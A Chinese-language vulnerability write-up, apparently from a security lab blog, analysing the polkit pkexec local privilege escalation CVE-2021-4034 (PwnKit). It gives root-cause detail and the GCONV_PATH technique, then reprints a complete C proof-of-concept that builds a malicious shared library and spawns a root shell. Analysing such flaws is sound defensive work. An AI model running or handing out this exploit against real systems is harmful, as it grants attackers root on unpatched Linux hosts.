天玄安全实验室 02月08日
Polkit本地提权 CVE-2021-4034分析与利用
index_new5.html
../../../zaker_core/zaker_tpl_static/wap/tpl_guoji1.html

 

Qualys安全团队披露了Polkit工具包中pkexec命令的本地提权漏洞,该漏洞存在长达12年之久。pkexec是一个suid-root工具,主流Linux发行版均受影响。漏洞源于pkexec处理参数时越界读取envp,导致内存损坏。攻击者可利用此漏洞,通过构造恶意环境变量,劫持程序执行流,加载恶意so文件,从而获得root权限。该漏洞的利用方式类似于GCONV_PATH的利用,但需要绕过ld.so加载器的安全机制,最终通过g_printerr()函数触发iconv_open()加载恶意so库。

🛡️ Polkit工具包中的pkexec命令存在一个高危本地提权漏洞(CVE-2021-4034),影响版本从0.92到0.120,包括CentOS、Ubuntu、Fedora和Debian等主流Linux发行版。

🛠️ 漏洞的根源在于pkexec.c的main函数中,对参数处理不当,导致越界读取envp环境变量,并可能越界写入,从而破坏内存,攻击者可以通过传入空参数触发该漏洞。

⚙️ 该漏洞的利用依赖于GCONV_PATH环境变量劫持,通过构造恶意的XAUTHORITY环境变量触发g_printerr()函数,并利用字符集转码过程中的iconv_open()函数加载恶意so库,最终实现提权。

💥 漏洞利用的关键步骤包括:创建包含恶意so库的目录结构,设置特定的环境变量(如GCONV_PATH和XAUTHORITY),然后执行pkexec命令,利用其越界读写漏洞加载恶意代码,从而获得root权限。

原创 knaithe 2022-02-10 17:15

polkit工具包里的pkexec命令由于越界读写导致内存损坏的本地提权漏洞

漏洞背景

近期国外Qualys安全研究团队披露了一个polkit工具包里的pkexec命令由于越界读写导致内存损坏的本地提权漏洞,影响年限自2009年起至今已有12年,pkexec是一个suid-root的工具。

影响范围

组件名称polkit - pkexec
影响版本0.92~0.120
危险等级高危
受影响范围主流发行版本包括centos、ubuntu、fedora、debian等等都受影响
漏洞修复https://gitlab.freedesktop.org/polkit/polkit/-/commit/a2bf5c9c83b6ae46cbd5c779d3055bff81ded683

漏洞描述

下面是对pkexec的简单描述。

PKEXEC(1)              pkexec              PKEXEC(1)NAME
       pkexec - Execute a command as another userSYNOPSIS
       pkexec [--version] [--disable-internal-agent] [--help]       pkexec [--user username] PROGRAM [ARGUMENTS...]DESCRIPTION
       pkexec allows an authorized user to execute PROGRAM as another user. If username is not specified, then the program will be executed as the administrative super       user, root.

例如普通用户执行vi /etc/shadow会提示[Permission Denied],但是执行pkexec vi /etc/shadow就可以正常打开,pkexec作用和sudo类似。


漏洞分析

本次以漏洞修复前一个版本0.120为例分析该漏洞。问题代码在polkit工程下 src/programs/pkexec.c的main函数里,对pkexec参数处理过程中越界读取envp里的value,在pkexec.c的main函数里第一个for循环,534行,默认给n=1。


在代码610行,path = g_strdup (argv[n]);  当给pkexec空参数时,n仍然等于1,此时path越界读取了argv[1]。在632行和639行,argv[1]被越界写入了path的绝对路径。

那问题就在于,当pkexec传递了空参数后,本不该存在的argv[1],出现越界读和越界写后,这里argv[1]的值会发生什么变化?在linux系统里,默认启动一个进程都是调用的execve函数,下面是对execve函数的描述:

当execve一个程序后,它的栈空间传参布局应该是这样:

|---------+---------+-----+------------|---------+---------+-----+------------|| argv[0] | argv[1] | ... | argv[argc] | envp[0] | envp[1] | ... | envp[envc] ||----|----+----|----+-----+-----|------|----|----+----|----+-----+-----|------|     V         V                V           V         V                V
 "program" "-option"           NULL      "value" "PATH=name"          NULL

因为栈空间是连续的,当pkexec的参数为空时,argv[0]后面紧接着的应该是envp[0],也就是这里的argv[1]越界访问的是envp[0]。

如环境变量“PATH=name”,如果name目录存在,并且name目录下也有value可执行程序,那么envp[0]的便指向name/value;

如环境变量设置为“PATH=name=.”,并且“name=.”目录下也有value可执行程序,那么envp[0]的便指向“name=./value”。

分析总结

接下来,我们总结一下整个漏洞触发的过程:

    534行,执行execve("/usr/bin/pkexec", argv, envp)时,当argv = {NULL}时,argc=0,不会进入if判断,但是n被设置为1;

    610行,argv[1]越界访问的是envp[0],获取到value值;

    632行,执行g_find_program_in_path(path)获取value值的绝对路径;

    639行,将value的绝对路径越界写回envp[0]。

这时,可以引入危险的环境变量到pkexec执行环境变量当中,加载恶意的so文件执行任意行为,但是在702行,环境变量会被清除。


漏洞利用

利用分析

是否记得GCONV_PATH利用?利用glibc中的iconv_open()函数,加载恶意so库执行任意代码,在pkexec的源码里有大量的glib的g_printerr()函数,用来输出错误信息,默认是UTF-8的格式,如果当前的CHARSET环境变量不是UTF-8,是UTF-16的话,就需要对输出信息进行转码,就会调用glibc的iconv()函数,在调用iconv()函数前必须调用iconv_open()函数初始化编码,具体如下。

    iconv_open()函数依照GCONV_PATH找到gconv-modules文件。

    根据gconv-modules文件的指示找到参数对应字符集的so库。

    调用so库中的gconv()和gonv_init()函数,这里so库是恶意so库,gonv_init()函数可以自由实现,从而执行任意代码。

既然可以通过引入危险环境变量到pkexec执行环境变量当中,那是否可以直接通过 execve("/usr/bin/pkexec", argv, envp)这种方式直接在envp里引入GCONV_PATH环境变量加载恶意so库,答案是不行。

原因是ld.so加载器会在特权程序执行的时候清除敏感环境变量,UNSECURE_ENVVARS宏里清除了GCONV_PATH环境变量。



所以还是得依赖g_printerr()函数来劫持执行流,通过构造错误的XAUTHORITY环境变量,在pkexec.c的main函数里会调用validate_environment_variable()函数检查所有环境变量。


当检查到key=XAUTHORITY时的value里含有“..”的话,会进入判断执行g_printerr()函数,又因为字符集需要转码,所以会执行icov_open()函数来加载恶意so库,从而实现任意代码。


利用过程

经过上述利用分析,这里对利用做个总结:

    创建"GCONV_PATH=."目录,并且在该目录下生成空的可执行文件xxx,此时xxx的路径是GCONV_PATH=./xxx。

    在当前目录生成恶意的so库文件。

    在当前目录创建xxx目录,并且在xxx目录下创建gconv-modules文件,xxx/gconv-modules文件里so指向当前目录的恶意so库。

    执行execve("/usr/bin/pkexec", argv, envp),argv = {NULL},envp = {"xxx", "PATH=GCONV_PATH=.", "LC_MESSAGES=en_US.UTF-8", "XAUTHORITY=../LOL",  "GIO_USE_VFS=", NULL}。


完整EXP

/* * blasty-vs-pkexec.c -- by blasty <peter@haxx.in>  * ------------------------------------------------ * PoC for CVE-2021-4034, shout out to Qualys * * ctf quality exploit * * bla bla irresponsible disclosure * * -- blasty // 2022-01-25
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
void fatal(char *f) {    perror(f);
    exit(-1);}
void compile_so() {
    FILE *f = fopen("payload.c""wb");
    if (f == NULL) {
        fatal("fopen");    }
    char so_code[]=
        "#include <stdio.h>\n"
        "#include <stdlib.h>\n"
        "#include <unistd.h>\n"
        "void gconv() {\n"
        "  return;\n"
        "}\n"
        "void gconv_init() {\n"
        "  setuid(0); seteuid(0); setgid(0); setegid(0);\n"
        "  static char *a_argv[] = { \"sh\", NULL };\n"
        "  static char *a_envp[] = { \"PATH=/bin:/usr/bin:/sbin\", NULL };\n"
        "  execve(\"/bin/sh\", a_argv, a_envp);\n"
        "  exit(0);\n"
        "}\n";
    fwrite(so_code, strlen(so_code), 1, f);    fclose(f);
    system("gcc -o payload.so -shared -fPIC payload.c");}
int main(int argc, char *argv[]) {
    struct stat st;
    char *a_argv[]={ NULL };
    char *a_envp[]={
        "lol",
        "PATH=GCONV_PATH=.",
        "LC_MESSAGES=en_US.UTF-8",
        "XAUTHORITY=../LOL",
        "GIO_USE_VFS=",
        NULL    };
    printf("[~] compile helper..\n");    compile_so();
    if (stat("GCONV_PATH=.", &st) < 0) {
        if(mkdir("GCONV_PATH=."0777) < 0) {
            fatal("mkdir");        }
        int fd = open("GCONV_PATH=./lol", O_CREAT|O_RDWR, 0777); 
        if (fd < 0) {
            fatal("open");        }        close(fd);    }
    if (stat("lol", &st) < 0) {
        if(mkdir("lol"0777) < 0) {
            fatal("mkdir");        }
        FILE *fp = fopen("lol/gconv-modules""wb");
        if(fp == NULL) {
            fatal("fopen");        }
        fprintf(fp, "module  UTF-8//    INTERNAL    ../payload    2\n");        fclose(fp);    }
    printf("[~] maybe get shell now?\n");
    execve("/usr/bin/pkexec", a_argv, a_envp);}

参考

[1]https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034

[2]https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt

[3]https://saucer-man.com/information_security/876.html

[4]https://haxx.in/files/blasty-vs-pkexec.c


Fish AI Reader

Fish AI Reader

AI辅助创作,多种专业模板,深度分析,高质量内容生成。从观点提取到深度思考,FishAI为您提供全方位的创作支持。新版本引入自定义参数,让您的创作更加个性化和精准。

FishAI

FishAI

鱼阅,AI 时代的下一个智能信息助手,助你摆脱信息焦虑

联系邮箱 441953276@qq.com

相关标签

Polkit pkexec 本地提权 CVE-2021-4034 GCONV_PATH
相关文章